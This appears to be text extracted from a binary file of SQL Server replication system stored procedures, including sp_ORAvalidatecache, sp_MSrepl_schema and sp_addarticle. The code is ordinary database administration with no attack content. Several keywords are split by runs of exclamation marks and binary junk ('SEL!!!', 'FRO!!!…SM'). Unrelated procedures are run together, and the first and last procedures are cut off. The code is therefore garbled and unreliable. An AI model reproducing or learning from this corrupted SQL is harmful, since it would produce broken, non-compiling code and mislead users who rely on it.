	INSERT INTO #hquery(cmd) VALUES('AND CC.COLUMN_NAME = TC.COLUMN_NAME ')
	INSERT INTO #hquery(cmd) VALUES('AND AC.CONSTRAINT_NAME = CC.CONSTRAINT_NAME ')
	INSERT INTO #hquery(cmd) VALUES('AND AC.CONSTRAINT_TYPE = ''P'' ')
	INSERT INTO #hquery(cmd) VALUES('AND AC.VALIDATED = ''VALIDATED'' ')
	INSERT INTO #hquery(cmd) VALUES('AND AC.STATUS = ''ENABLED'' ')
	INSERT INTO #hquery(cmd) VALUES('AND AC.TABLE_NAME = ' + QUOTENAME(@source_table, '''') + ' ')
	INSERT INTO #hquery(cmd) VALUES('AND AC.OWNER = ' + QUOTENAME(@source_owner, '''') + ' ')

	IF @publisher_version NOT LIKE N'8.%' AND @publisher_version NOT LIKE N'9.%' 
	BEGIN
		INSERT INTO #hquery(cmd) VALUES(' AND AC.OWNER = T.OWNER ')
		INSERT INTO #hquery(cmd) VALUES(' AND AC.TABLE_NAME = T.TABLE_NAME ')
		INSERT INTO #hquery(cmd) VALUES(' AND T.DROPPED = ''NO'' ')
	END

	INSERT INTO #hquery(cmd) VALUES('UNION ')
	-- Primary key length
	INSERT INTO #hquery(cmd) VALUES('SELECT ''PKLEN'', SUM(TC.DATA_LENGTH) ')
	INSERT INTO #hquery(cmd) VALUES('FROM ALL_CONSTRAINTS AC, ALL_TAB_COLUMNS TC, ALL_CONS_COLUMNS CC')

	IF @publisher_version NOT LIKE N'8.%' AND @publisher_version NOT LIKE N'9.%' 
		INSERT INTO #hquery(cmd) VALUES(', ALL_ALL_TABLES T ')

	INSERT INTO #hquery(cmd) VALUES(' WHERE AC.OWNER = TC.OWNER ')
	INSERT INTO #hquery(cmd) VALUES('AND AC.TABLE_NAME = TC.TABLE_NAME ')
	INSERT INTO #hquery(cmd) VALUES('AND AC.OWNER = CC.OWNER ')
	INSERT INTO #hquery(cmd) VALUES('AND AC.TABLE_NAME = CC.TABLE_NAME ')
	INSERT INTO #hquery(cmd) VALUES('AND CC.COLUMN_NAME	= TC.COLUMN_NAME ')
	INSERT INTO #hquery(cmd) VALUES('AND AC.CONSTRAINT_NAME = CC.CONSTRAINT_NAME ')
	INSERT INTO #hquery(cmd) VALUES('AND AC.CONSTRAINT_TYPE = ''P'' ')
	INSERT INTO #hquery(cmd) VALUES('AND AC.VALIDATED = ''VALIDATED'' ')
	INSERT INTO #hquery(cmd) VALUES('AND AC.STATUS = ''ENABLED'' ')
	INSERT INTO #hquery(cmd) VALUES('AND AC.TABLE_NAME = ' + QUOTENAME(@source_table, '''') + ' ')
	INSERT INTO #hquery(cmd) VALUES('AND AC.OWNER = ' + QUOTENAME(@source_owner, '''') + ' ')

	IF @publisher_version NOT LIKE N'8.%' AND @publisher_version NOT LIKE N'9.%' 
	BEGIN
		INSERT INTO #hquery(cmd) VALUES(' AND AC.OWNER = T.OWNER ')
		INSERT INTO #hquery(cmd) VALUES(' AND AC.TABLE_NAME = T.TABLE_NAME ')
		INSERT INTO #hquery(cmd) VALUES(' AND T.DROPPED = ''NO'' ')
	END

	INSERT INTO #hquery(cmd) VALUES('UNION ')
	-- Select privileges
	INSERT INTO #hquery(cmd) VALUES('SELECT ''PRIVSEL'', 1 ')
	INSERT INTO #hquery(cmd) VALUES('FROM ALL_ALL_TABLES T ')
	INSERT INTO #hquery(cmd) VALUES('WHERE (USER IN (SEL!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(V0Bv`S
--
-- Name:
--		sp_ORAvalidatecache
--
-- Description:
--		Validate distributor side meta data against current Oracle meta data
--		for a given published table.
--
-- Inputs:
--		@publisher		== name of Oracle publisher
--		@publication	== name of publication
--		@article		== name of article
--		@owner			== table owner
--		@tablename		== table name 
--
-- Returns:
--		Return code (0 for success, 1 for failure)
--
--		Result set
--
--		column		description
--
--		publication	publication name
--		article		article name
--		tableowner  table owner
--		tablename	table name
--		columnname	column name
--		index		index or constraint name
--		column_ordinal	column ordinal
--		type		column, index, or constrinat type
--		length		length
--		prec		precision
--		scale		scale
--		isnullable	is nullable
--      validated   is validated
--      consstatus  constraint status
--      idxstatus   index status
--		description	'Column dropped'
--				'Column added'
--				'Column changed from'
--				'Column changed to'
--				'index dropped'
--				'index added'
--				'index changed from'
--				'index changed to'
--				'Constraint dropped'
--				'Constraint added'
--				'Constraint changed from'
--				'Constraint changed to'
--
-- Security:
--		internal stored procedure 
-- Requires Certificate signature for catalog access
--

CREATE PROCEDURE sys.sp_ORAvalidatecache
(
	@publisher		sysname,
	@publication	sysname = NULL,
	@article		sysname = NULL,
	@owner			sysname = NULL,
	@tablename		sysname = NULL
)
AS
BEGIN
	DECLARE @retcode	int
	DECLARE @pubid		int
	DECLARE @table_id	int
	DECLARE @cntcache	int
	DECLARE @cntmatch	int
	DECLARE	@cntactual	int

	-- Get publisher ID
	SELECT @pubid = srvid
	FROM	master.dbo.sysservers
	WHERE	UPPER(srvname collate database_default) = UPPER(@publisher) collate database_default
	
	IF @pubid IS NULL
	BEGIN
		RAISERROR(21600, 16, -1, @publisher)
		RETURN (1)
	END

	-- Table name and owner must both be non-NULL
	IF @tablename IS NULL OR @owner IS NULL
	BEGIN
		-- Both table name and owner must be NON NULL
		RAISERROR('Both table name and table owner must be NON NULL.', 16, -1)
		RETURN (1)
	END

	-- Verify that table is currently published
	-- and determine table ID
	SELECT distinct @table_id = iha.table_id
	FROM	IHarticles iha, MSarticles msa
	WHERE	msa.source_owner 	= @owner
	AND	msa.source_object 	= @tablename
	AND	msa.publisher_id 	= @pubid
	AND	msa.publisher_id 	= iha.publisher_id
	AND	msa.article_id 		= iha.article_id
	AND	msa.publication_id 	= iha.publication_id
	
	IF @table_id IS NULL
	BEGIN
		-- Table is not currently published
		RAISERROR('Table is not currently published.', 16, -1)
		RETURN (1)
	END

	-- Create the temporary meta data tables
	CREATE TABLE #publishercolumns
	(
        name            sysname collate database_default,
		column_ordinal	int,
        type            sysname collate database_default,
		length			int,
		prec			int,
		scale			int,
		isnullable		bit,
		iscaptured		bit
	)

	CREATE TABLE #indexes
	(
		index_name		nvarchar(30),
		index_owner		nvarchar(30),
		uniqueness		nvarchar(11),
		column_name		nvarchar(30),
		column_position	int,
		index_status	nvarchar(8)
	)

	CREATE TABLE #constraints
	(
		constraint_name	nvarchar(30),
		constraint_type	nchar(1),
		table_owner		nvarchar(30),
		table_name		nvarchar(30),
		index_owner		nvarchar(30),
		index_name		nvarchar(30),
		column_name		nvarchar(30),
		column_position	int,
		validated		nvarchar(13),
		cons_status		nvarchar(8),
		idx_status		nvarchar(8)
	)
    CREATE TABLE #MATCHES (name NVARCHAR(30))
	CREATE TABLE #MATCHES1(name NVARCHAR(100), column_name NVARCHAR(30), index_name NVARCHAR(30))
	CREATE TABLE #MATCHES2(name NVARCHAR(100), column_name NVARCHAR(30), index_name NVARCHAR(30))

    -- Populate the temporary metadata tables
    EXEC @retcode =	sys.sp_ORAgetcolumndata
					@owner		= @owner,
					@tablename	= @tablename,
					@publisher	= @publisher,
					@fordiagnosis = 1

    IF @@ERROR <> 0 OR @retcode <> 0
    BEGIN
        RAISERROR (21781, 16, -1)
        RETURN (1)
    END

	-- Determine the number of cached columns in the published table
	SELECT @cntcache = COUNT(*)
	FROM 	IHpublishercolumns
	WHERE	table_id = @table_id
	AND	publisher_id = @pubid

	-- Determine the number of actual columns in the published table
	SELECT	@cntactual = COUNT(*)
	FROM	#publishercolumns

	-- Compare the data in the temporary tables with that in the meta data cache
	INSERT INTO #MATCHES 
		SELECT	ihpc.name
		FROM	IHpublishercolumns ihpc, #publishercolumns tpc
		WHERE	ihpc.table_id = @table_id
		AND	ihpc.publisher_id = @pubid
		AND	ihpc.name = tpc.name
		AND	ihpc.column_ordinal = tpc.column_ordinal
		AND	ihpc.type = tpc.type
		AND	(ihpc.length = tpc.length OR (ihpc.length IS NULL and tpc.length IS NULL))
		AND	(ihpc.prec = tpc.prec OR (ihpc.prec IS NULL and tpc.prec IS NULL))
		AND	(ihpc.scale = tpc.scale OR (ihpc.scale IS NULL and tpc.scale IS NULL))
		AND	ihpc.isnullable = tpc.isnullable
	
	-- Determine the number of matched columns in the table
	SELECT @cntmatch = COUNT(*)
	FROM #MATCHES

	-- If the counts don't match, populate result table
	if @cntcache <> @cntmatch OR @cntcache <> @cntactual
	BEGIN
		-- Determine which entries in IHpublishercolumns do not
		-- have matching entries in #publishercolumns
		INSERT INTO #RESULTSET
		SELECT @publication, @article, @owner, @tablename, name, NULL, column_ordinal, type, length, prec, scale, isnullable, NULL, NULL, NULL, N'Column dropped'
		FROM IHpublishercolumns
		WHERE	table_id = @table_id
		AND	publisher_id = @pubid
 		AND 	name NOT IN (SELECT * from #MATCHES)
		AND 	name NOT IN (SELECT name from #publishercolumns)

		-- Determine which entries in #publishercolumns do not
		-- have matching entries in IHpublishercolumns
		INSERT INTO #RESULTSET
		SELECT @publication, @article, @owner, @tablename, name, NULL, column_ordinal, type, length, prec, scale, isnullable, NULL, NULL, NULL, N'Column added'
		FROM #publishercolumns
		WHERE name NOT IN (SELECT * from #MATCHES)
		AND name NOT IN (SELECT name from IHpublishercolumns
				 WHERE	table_id = @table_id
				 AND	publisher_id = @pubid)

		-- Determine which entries in IHpublishercolumns have
		-- changed entries in #publishercolumns
		INSERT INTO #RESULTSET
		SELECT @publication, @article, @owner, @tablename, name, NULL, column_ordinal, type, length, prec, scale, isnullable, NULL, NULL, NULL, N'Column changed from'
		FROM IHpublishercolumns
		WHERE	table_id = @table_id
		AND	publisher_id = @pubid
		AND	name NOT IN (SELECT * from #MATCHES)
		AND	name IN (SELECT name from #publishercolumns)
		AND	name IN (SELECT name from IHpublishercolumns)

		INSERT INTO #RESULTSET
		SELECT @publication, @article, @owner, @tablename, name, NULL, column_ordinal, type, length, prec, scale, isnullable, NULL, NULL, NULL, N'Column changed to'
		FROM #publishercolumns 
		WHERE name NOT IN (SELECT * from #MATCHES)
		AND name IN (SELECT name from #publishercolumns)
		AND name IN (SELECT name from IHpublishercolumns
				 WHERE	table_id = @table_id
				 AND	publisher_id = @pubid)
	END

	-- Compare #indexes with data in IHpublisherindexes
	SELECT @cntcache = COUNT(*)
	FROM 	IHpublisherindexes
	WHERE	table_id = @table_id
	AND	publisher_id = @pubid

	-- Determine the number of actual indexes for the published table
	SELECT	@cntactual = COUNT(*)
	FROM	#indexes

	-- Compare the data in the temporary tables with that in the meta data cache
	DELETE #MATCHES
	INSERT INTO #MATCHES 
		SELECT	distinct ihpi.name
		FROM	IHpublisherindexes ihpi, #indexes tpi
		WHERE	ihpi.table_id = @table_id
		AND	ihpi.publisher_id = @pubid
		AND	ihpi.name = tpi.index_name
		AND	ihpi.type = tpi.uniqueness
		AND     'VALID' = tpi.index_status
	
	-- Determine the number of matched columns in the table
	SELECT @cntmatch = COUNT(*)
	FRO!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(WW.v`SM #MATCHES

	-- If the counts don't match, populate result table
	if @cntcache <> @cntmatch OR @cntcache <> @cntactual
	BEGIN
		-- Determine which entries in IHpublisherindexes do not
		-- have matching entries in #indexes
		INSERT INTO #RESULTSET
		SELECT @publication, @article, @owner, @tablename, NULL, name, NULL, type, NULL, NULL, NULL, NULL, NULL, NULL, 'VALID', N'Index dropped'
		FROM IHpublisherindexes
		WHERE	table_id = @table_id
		AND	    publisher_id = @pubid
		AND		name NOT IN (SELECT * from #MATCHES)
		AND		name NOT IN (SELECT index_name from #indexes)

		-- Determine which entries in #indexes do not
		-- have matching entries in IHpublisherindexes
		INSERT INTO #RESULTSET
		SELECT @publication, @article, @owner, @tablename, NULL, index_name, NULL, uniqueness, NULL, NULL, NULL, NULL, NULL, NULL, index_status, N'Index added'
		FROM #indexes
		WHERE index_name NOT IN (SELECT * from #MATCHES)
		AND index_name NOT IN
			(SELECT name from IHpublisherindexes
			 WHERE	table_id = @table_id
			 AND	publisher_id = @pubid)

		-- Determine which entries in IHpublisherindexes have
		-- changed entries in #indexes
		INSERT INTO #RESULTSET
		SELECT @publication, @article, @owner, @tablename, NULL, name, NULL, type, NULL, NULL, NULL, NULL, NULL, NULL, 'VALID', N'Index changed from'
		FROM IHpublisherindexes 
		WHERE name NOT IN (SELECT * from #MATCHES)
		AND name IN (SELECT index_name from #indexes)
		AND name IN
			(SELECT name from IHpublisherindexes
			 WHERE	table_id = @table_id
			 AND	publisher_id = @pubid)

		INSERT INTO #RESULTSET
		SELECT @publication, @article, @owner, @tablename, NULL, index_name, NULL, uniqueness, NULL, NULL, NULL, NULL, NULL, NULL, index_status, N'Index changed to'
		FROM #indexes 
		WHERE index_name NOT IN (SELECT * from #MATCHES)
		AND index_name IN (SELECT index_name from #indexes)
		AND index_name IN
			(SELECT name from IHpublisherindexes
			 WHERE	table_id = @table_id
			 AND	publisher_id = @pubid)

	END

	-- Compare #constraints with data in IHpublisherconstraints
	SELECT @cntcache = COUNT(*)
	FROM 	IHpublisherconstraints
	WHERE	table_id = @table_id
	AND	publisher_id = @pubid

	-- Determine the number of actual indexes for the published table
	SELECT	@cntactual = COUNT(*)
	FROM	#constraints

	-- Compare the data in the temporary tables with that in the meta data cache
	DELETE #MATCHES
	INSERT INTO #MATCHES
		SELECT	distinct ihpc.name
		FROM	IHpublisherconstraints ihpc, #constraints tpc
		WHERE	ihpc.table_id = @table_id
		AND	ihpc.publisher_id = @pubid
		AND	ihpc.name = tpc.constraint_name
		AND	'VALIDATED' = tpc.validated
		AND 'ENABLED' = tpc.cons_status
		--  For Oracle 8.05, we may not be able to identify an index
		--  for the primary key constraint, so status may be NULL    
		AND     (tpc.idx_status is NULL OR 'VALID' = tpc.idx_status)
	
	-- Determine the number of matched columns in the table
	SELECT @cntmatch = COUNT(*)
	FROM #MATCHES

	-- If the counts don't match, populate result table
	if @cntcache <> @cntmatch OR @cntcache <> @cntactual
	BEGIN
		-- Determine which entries in IHpublisherconstraints do not
		-- have matching entries in #constraints
		INSERT INTO #RESULTSET
		SELECT @publication, @article, @owner, @tablename, NULL, name, NULL, type, NULL, NULL, NULL, NULL, 'VALIDATED', 'ENABLED', 'VALID', N'Constraint dropped'
		FROM IHpublisherconstraints 
		WHERE	table_id = @table_id
		AND		publisher_id = @pubid
		AND		name NOT IN (SELECT * from #MATCHES)
		AND		name NOT IN (SELECT constraint_name from #constraints)

		-- Determine which entries in #constraints do not
		-- have matching entries in IHpublisherconstraints
		INSERT INTO #RESULTSET
		SELECT @publication, @article, @owner, @tablename, NULL, constraint_name, NULL, 'PRIMARYKEY', NULL, NULL, NULL, NULL, validated, cons_status, idx_status, N'Constraint Added'
		FROM #constraints
		WHERE constraint_name NOT IN (SELECT * from #MATCHES)
		AND constraint_name NOT IN 
			(SELECT name from IHpublisherconstraints
			 WHERE	table_id = @table_id
			 AND	publisher_id = @pubid)
			 
		-- Determine which entries in IHpublisherconstraints have
		-- changed entries in #constraints
		INSERT INTO #RESULTSET
		SELECT @publication, @article, @owner, @tablename, NULL, name, NULL, type, NULL, NULL, NULL, NULL, 'VALIDATED', 'ENABLED', 'VALID', N'Constraint changed from'
		FROM IHpublisherconstraints 
		WHERE name NOT IN (SELECT * from #MATCHES)
		AND name IN (SELECT constraint_name from #constraints)
		AND name IN
			(SELECT name from IHpublisherconstraints
			 WHERE	table_id = @table_id
			 AND	publisher_id = @pubid)

		INSERT INTO #RESULTSET
		SELECT @publication, @article, @owner, @tablename, NULL, constraint_name, NULL, 'PRIMARYKEY', NULL, NULL, NULL, NULL, validated, cons_status, idx_status, N'Constraint changed to'
		FROM #constraints 
		WHERE constraint_name NOT IN (SELECT * from #MATCHES)
		AND constraint_name IN (SELECT constraint_name from #constraints)
		AND constraint_name IN
			(SELECT name from IHpublisherconstraints
			 WHERE	table_id = @table_id
			 AND	publisher_id = @pubid)
	END

	-- Get the current column names and their associated constraint names
	INSERT INTO #MATCHES1 
		SELECT	c.column_name + '"' + c.constraint_name, c.column_name, c.constraint_name
		FROM	#constraints c

	-- Get the cached column names and their associated constraint names
	INSERT INTO #MATCHES2 
		SELECT	ihpc.name + '"' + ihpi.name, ihpc.name, ihpi.name
		FROM	IHpublisherconstraints ihpi,
			IHpublishercolumns ihpc,
			IHpublishercolumnconstraints ihpci 
		WHERE	ihpi.table_id = @table_id
		AND	ihpi.publisher_id = @pubid
		AND	ihpi.publisherconstraint_id = ihpci.publisherconstraint_id
		AND	ihpc.publishercolumn_id = ihpci.publishercolumn_id
		AND	ihpc.table_id = ihpi.table_id
		AND	ihpc.publisher_id = ihpi.publisher_id
	
	-- Determine the number of matched columns in the table
	SELECT @cntactual = COUNT(*)
	FROM #MATCHES1

	SELECT @cntcache = COUNT(*)
	FROM #MATCHES2

	SELECT @cntmatch = COUNT(*)
	FROM #MATCHES1 M1, #MATCHES2 M2
	WHERE M1.name = M2.name
	AND M1.column_name = M2.column_name
	AND M1.index_name = M2.index_name

	-- If the counts don't match, populate result table
	if @cntcache <> @cntmatch OR @cntcache <> @cntactual
	BEGIN
		-- Determine which index columns have been dropped
		INSERT INTO #RESULTSET
		SELECT @publication, @article, @owner, @tablename, column_name, index_name, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, N'Constraint column dropped'
		FROM #MATCHES2 
		WHERE name NOT IN (SELECT name from #MATCHES1)

		-- Determine which index columns have been added
		INSERT INTO #RESULTSET
		SELECT @publication, @article, @owner, @tablename, column_name, index_name, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, N'Constraint column added'
		FROM #MATCHES1
		WHERE name NOT IN (SELECT name from #MATCHES2)
	END

	-- Get the current column names and their associated index names
	DELETE #MATCHES1
	INSERT INTO #MATCHES1 
		SELECT	c.column_name + '"' + c.index_name, c.column_name, c.index_name
		FROM	#indexes c

	-- Get the cached column names and their associated index names
	DELETE #MATCHES2
	INSERT INTO #MATCHES2 
		SELECT	ihpc.name + '"' + ihpi.name, ihpc.name, ihpi.name
		FROM	IHpublisherindexes ihpi,
			IHpublishercolumns ihpc,
			IHpublishercolumnindexes ihpci 
		WHERE	ihpi.table_id = @table_id
		AND	ihpi.publisher_id = @pubid
		AND	ihpi.publisherindex_id = ihpci.publisherindex_id
		AND	ihpc.publishercolumn_id = ihpci.publishercolumn_id
		AND	ihpc.table_id = ihpi.table_id
		AND	ihpc.publisher_id = ihpi.publisher_id
	
	-- Determine the number of matched columns in the table
	SELECT @cntactual = COUNT(*)
	FROM #MATCHES1

	SELECT @cntcache = COUNT(*)
	FROM #MATCHES2

	SELECT @cntmatch = COUNT(*)
	FROM #MATCHES1 M1, #MATCHES2 M2
	WHERE M1.name = M2.name
	AND M1.column_name = M2.column_name
	!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`	<nX**!0C|i 8
create procedure sys.sp_MSrepl_schema @pubname sysname
                ,@artid int 
                ,@qual_source_object nvarchar(517) -- quoted table name
                ,@column sysname -- column name, not quoted, as we need to search in dbo.syscolumns by it.
                ,@operation int -- 0 is add, 1 is drop
                ,@typetext nvarchar(3000) = NULL    
                ,@schema_change_script nvarchar(4000) = NULL
as
begin
    declare @retcode int
    declare @pubid int
    declare @objid int
    declare @schema_option binary(8)
    declare @auto_gen int
    declare @cmd_type int
    declare @ins_cmd nvarchar(510)
    declare @del_cmd nvarchar(510)
    declare @upd_cmd nvarchar(510)
    declare @repub_command nvarchar(4000)
    declare @nopub_command nvarchar(4000)
    declare @prefix nvarchar(32)
    declare @post_cmd nvarchar(4000)
    declare @qual_column nvarchar(362) 
    declare @use_script bit
    declare @allow_dts bit
    
    set nocount on
    select @retcode = 0
    select @auto_gen = 2 -- auto generate custom procs
    select @cmd_type = 11 -- ALter Table statement
    select @qual_column = QUOTENAME(@column)
    select @objid = object_id(@qual_source_object)

    /*
    ** Security Check
    */
    exec @retcode = sys.sp_MSreplcheck_publish
    if @@ERROR <> 0 or @retcode <> 0
        return(1)

    if (@schema_change_script is not NULL) and (len(@schema_change_script) > 0)
        select @use_script = 1
    else
        select @use_script = 0
    
    
    select @pubid = a.pubid, @schema_option = schema_option, @ins_cmd = ins_cmd, @del_cmd = del_cmd, @upd_cmd = upd_cmd, @allow_dts = allow_dts 
        from sysarticles a join syspublications p on a.pubid = p.pubid where artid = @artid
    
    if (@allow_dts = 1)
        goto SCRIPTONLY

    if(@operation = 0)
    begin
        select @repub_command = N'exec sp_repladdcolumn @source_object=N''' + replace(@qual_source_object, N'''', N'''''') + N''',@column=N''' + replace(@column  , N'''', N'''''')
                        + N''',@typetext=N''' + replace(@typetext, N'''', N'''''') + N''' '
        select @nopub_command = N'else alter table ' + @qual_source_object + N' add ' + @qual_column + N' ' + @typetext + N' ' 
        select @prefix = N'if not exists '
    end
    else
    begin
        select @repub_command = N'exec sp_repldropcolumn @source_object=N''' + replace(@qual_source_object, N'''', N'''''') + N''',@column=N''' + replace(@column  , N'''', N'''''')  + N''' '
        select @nopub_command = N'else alter table ' + @qual_source_object + N' drop column ' + @qual_column + N' '
        select @prefix = N'if exists '
    end
    if (@use_script = 1)--Need to pass the script file along if sub is republished.
        select @repub_command = @repub_command  + N',@schema_change_script=N''' + @schema_change_script + N''' '
    select @post_cmd = @prefix + N'(select * from dbo.syscolumns where name=''' + replace(@column  , N'''', N'''''') + ''' and id = object_id('''+ replace(quotename(PARSENAME(@qual_source_object, 1)), N'''', N'''''')  + ''')) begin '
    exec @retcode = sys.sp_replpostcmd 1, @pubid, @artid, @cmd_type, @post_cmd 
    if(@retcode <> 0) or (@@error <> 0)
        return 1
    select @post_cmd = N'if exists (select * from dbo.sysobjects where name=''syspublications'') if exists (select * from sysarticles where objid=object_id('''+ replace(quotename(PARSENAME(@qual_source_object, 1)), N'''', N'''''')  + ''')) and @@microsoftversion >= 0x07320000 '
    exec @retcode = sys.sp_replpostcmd 1, @pubid, @artid, @cmd_type, @post_cmd 
    if(@retcode <> 0) or (@@error <> 0)
        return 1
    exec @retcode = sys.sp_replpostcmd 1, @pubid, @artid, @cmd_type, @repub_command
    if(@retcode <> 0) or (@@error <> 0)
        return 1
    exec @retcode = sys.sp_replpostcmd 1, @pubid, @artid, @cmd_type, @nopub_command
    if(@retcode <> 0) or (@@error <> 0)
        return 1
    exec @retcode = sys.sp_replpostcmd 1, @pubid, @artid, @cmd_type, @nopub_command
    if(@retcode <> 0) or (@@error <> 0)
        return 1
    exec @retcode = sys.sp_replpostcmd 0, @pubid, @artid, @cmd_type, N' end '
    if(@retcode <> 0) or (@@error <> 0)
        return 1
    
    if ((convert(int, @schema_option) & @auto_gen) > 0)-- No script, but custom procs were auto-generated
    begin
        if (UPPER(LEFT(LTRIM(@ins_cmd), 4) collate SQL_Latin1_General_CP1_CS_AS) = UPPER('CALL' collate SQL_Latin1_General_CP1_CS_AS))
        	or (UPPER(LEFT(LTRIM(@ins_cmd), 5) collate SQL_Latin1_General_CP1_CS_AS) = UPPER('SCALL' collate SQL_Latin1_General_CP1_CS_AS))
        begin
            exec @retcode = sys.sp_MSpost_auto_proc @pubid=@pubid, @artid=@artid, @procmapid=1 
            if(@retcode <> 0) or (@@error <> 0)
                return 1
        end
        if(UPPER(LEFT(LTRIM(@del_cmd), 4) collate SQL_Latin1_General_CP1_CS_AS) = UPPER('CALL' collate SQL_Latin1_General_CP1_CS_AS))
        	or (UPPER(LEFT(LTRIM(@del_cmd), 5) collate SQL_Latin1_General_CP1_CS_AS) = UPPER('XCALL' collate SQL_Latin1_General_CP1_CS_AS))
        	or (UPPER(LEFT(LTRIM(@del_cmd), 5) collate SQL_Latin1_General_CP1_CS_AS) = UPPER('VCALL' collate SQL_Latin1_General_CP1_CS_AS))
        begin
            exec @retcode = sys.sp_MSpost_auto_proc @pubid=@pubid, @artid=@artid, @procmapid=2 
            if(@retcode <> 0) or (@@error <> 0)
                return 1
        end
        if(UPPER(LEFT(LTRIM(@upd_cmd), 4) collate SQL_Latin1_General_CP1_CS_AS) = UPPER('CALL' collate SQL_Latin1_General_CP1_CS_AS))
        	or (UPPER(LEFT(LTRIM(@upd_cmd), 5) collate SQL_Latin1_General_CP1_CS_AS) = UPPER('MCALL' collate SQL_Latin1_General_CP1_CS_AS))
        	or (UPPER(LEFT(LTRIM(@upd_cmd), 5) collate SQL_Latin1_General_CP1_CS_AS) = UPPER('XCALL' collate SQL_Latin1_General_CP1_CS_AS))
        	or (UPPER(LEFT(LTRIM(@upd_cmd), 5) collate SQL_Latin1_General_CP1_CS_AS) = UPPER('VCALL' collate SQL_Latin1_General_CP1_CS_AS))
        	or (UPPER(LEFT(LTRIM(@upd_cmd), 5) collate SQL_Latin1_General_CP1_CS_AS) = UPPER('SCALL' collate SQL_Latin1_General_CP1_CS_AS))
        begin
            exec @retcode = sys.sp_MSpost_auto_proc @pubid=@pubid, @artid=@artid, @procmapid=3 
            if(@retcode <> 0) or (@@error <> 0)
                return 1
        end
    end
SCRIPTONLY:

    if (@use_script = 1)
    begin
        exec @retcode = sys.sp_addscriptexec @publication = @pubname, @scriptfile = @schema_change_script
        if @retcode<>0 or @@ERROR<>0
            return 1
    end 
    return 0
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`g<Y%L(X0t@ 
8create procedure sys.sp_addarticle
(
    @publication					sysname,
    @article						sysname,
    @source_table					nvarchar (386) = NULL,
    @destination_table				sysname = NULL,
    @vertical_partition				nchar(5) = N'false',
    @type							sysname = NULL,
    @filter							nvarchar (386) = NULL,
    @sync_object					nvarchar (386) = NULL,
    @ins_cmd						nvarchar (255) = NULL,
    @del_cmd						nvarchar (255) = NULL,
    @upd_cmd						nvarchar (255) = NULL,
    @creation_script				nvarchar (255) = NULL,
    @description					nvarchar (255) = NULL,
    @pre_creation_cmd				nvarchar(10) = N'drop',
    @filter_clause					ntext    = NULL,
    @schema_option					varbinary(8) = NULL,
    @destination_owner				sysname = NULL,
    @status							tinyint = NULL,
    @source_owner					sysname = NULL,
    @sync_object_owner				sysname = NULL,
    @filter_owner					sysname = NULL,
    @source_object					sysname = NULL,
    @artid							int = NULL OUTPUT,
    @auto_identity_range			nvarchar(5) = NULL,
    @pub_identity_range				bigint = NULL,
    @identity_range					bigint = NULL,
    @threshold						int = NULL,
    @force_invalidate_snapshot		bit = 0,
    @use_default_datatypes			bit = 1,
    @identityrangemanagementoption	nvarchar(10) = NULL,   -- NONE, MANUAL, AUTO
    @publisher						sysname = NULL,
    @fire_triggers_on_snapshot      nvarchar(5) = N'false'
)
AS
BEGIN
    set nocount on
    DECLARE @cmd nvarchar(4000)
                ,@retcode int
                ,@publisher_type sysname

    EXEC @retcode = sys.sp_MSrepl_getpublisherinfo  @publisher        = @publisher,
                                                                        @rpcheader        = @cmd OUTPUT,
                                                                        @publisher_type    = @publisher_type OUTPUT
    
    IF @retcode <> 0
        RETURN (@retcode)

    select @publisher = UPPER(@publisher) 
            ,@cmd = @cmd + N'sys.sp_MSrepl_addarticle'
    
    EXEC @retcode = @cmd
                    @publication,
                    @article,
                    @source_table,
                    @destination_table,
                    @vertical_partition,
                    @type,
                    @filter,
                    @sync_object,
                    @ins_cmd,
                    @del_cmd,
                    @upd_cmd,
                    @creation_script,
                    @description,
                    @pre_creation_cmd,
                    @filter_clause,
                    @schema_option,
                    @destination_owner,
                    @status,
                    @source_owner,
                    @sync_object_owner,
                    @filter_owner,
                    @source_object,
                    @artid OUTPUT,
                    @identityrangemanagementoption,
                    @auto_identity_range,
                    @pub_identity_range,
                    @identity_range,
                    @threshold,
                    @force_invalidate_snapshot,
                    @use_default_datatypes,
                    @publisher,
                    @publisher_type,
                    @fire_triggers_on_snapshot

    RETURN (@retcode)
END
03\ 8CREATE VIEW sys.dm_filestream_non_transacted_handles AS
    SELECT *
    FROM OpenRowset(TABLE DM_FILESTREAM_NON_TRANSACTED_HANDLES)
0@ 8create procedure sys.sp_stoppushsubscription_agent
(
    @publication    sysname,
    @subscriber     sysname,
    @subscriber_db sysname,
    @publisher      sysname = null
)
as
begin
    set nocount on
    declare @cmd        nvarchar(4000)
    declare @retcode    int 
    declare @pubtype    sysname
    declare @stop       tinyint
    
    set @retcode = 0
    set @stop = 1
    exec @retcode = sys.sp_MSrepl_getpublisherinfo  @publisher      = @publisher,
                                                    @publisher_type = @pubtype OUTPUT,
                                                    @rpcheader      = @cmd OUTPUT
    if @retcode <> 0
        return (@retcode)

    -- Add sp
    set @cmd = @cmd + N'sys.sp_MSrepl_subscriptionagentjobcontrol'

    exec @retcode = @cmd
                    @publication = @publication,
                    @subscriber = @subscriber,
                    @subscriber_db = @subscriber_db,
                    @publisher = @publisher,
                    @publisher_type = @pubtype,
                    @action = @stop    
    return @retcode


end
0] 8create function sys.fn_MSmerge_getartprocsuffix (
    @artid uniqueidentifier,
    @pubid uniqueidentifier
)
returns nvarchar(100)
as
begin
    declare @artidstr nvarchar(40)
    declare @pubidstr nvarchar(40)
    declare @suffix nvarchar(100)

    select @suffix = NULL
    exec @artidstr = sys.fn_MSguidtostr @artid
    if @@ERROR<>0 OR @artidstr is NULL
        return @suffix

